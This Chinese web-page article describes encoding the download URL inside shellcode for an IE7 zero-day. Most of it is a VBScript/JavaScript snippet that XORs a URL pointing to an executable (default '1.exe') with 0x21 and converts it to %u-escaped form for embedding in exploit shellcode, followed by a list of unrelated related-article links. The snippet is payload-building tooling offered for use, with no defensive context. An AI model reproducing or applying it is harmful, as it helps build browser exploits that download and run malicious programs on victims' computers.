ie7 0day当中的shellcode的escape+xor21加密


<SCRIPT LANGUAGE="VBSCRIPT">
Function Encode(s,n)
Dim b
b=UCase(s)
For i=1 To Len(b)
Encode=Encode&Chrw((Asc(Mid(b,i,1)) Xor n))
Next
End Function
</script>
<script language="javascript">
myrand=window.prompt("url:","http://www.sohu.com/1.exe");
strVariable = (Encode(myrand,0x21)).toUpperCase( )
function gen(url)
{
var i=0,l=0,k=0,curl="";
l= url.length;
for(;i<l;i++){
k=url.charCodeAt(i);
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
if (l%2){curl+="00";}else{curl+="0000";}
curl=curl.replace(/(..)(..)/g,"%u$2$1");
return curl;
}
document.write(gen(strVariable));
</script>



相关阅读:
Linux下pptp做nat,持久连接到另一网络
微软SQL Server密码管理的六个危险判断
[vbs]每一行的最后一个字符转换成_
FireFox与IE 下js兼容触发click事件的代码
jQuery.Validate 使用笔记(jQuery Validation范例 )
带你轻松接触Oracle数据库的日历
解决MySQL启动时万恶的的“1067”错误
PHP教程:PHP开发网站代码编写规范
BSD家族大观 --2. OpenBSD
JSP/Servlet/JSF:自定义标签
JS教程:浅谈ECMAScript自动插入分号
asp.net保存远程图片的代码
CSS改变选择网页文字背景色
感受Win 2003 SP1安全配置向导功能
快速导航

Copyright © 2016 phpStudy |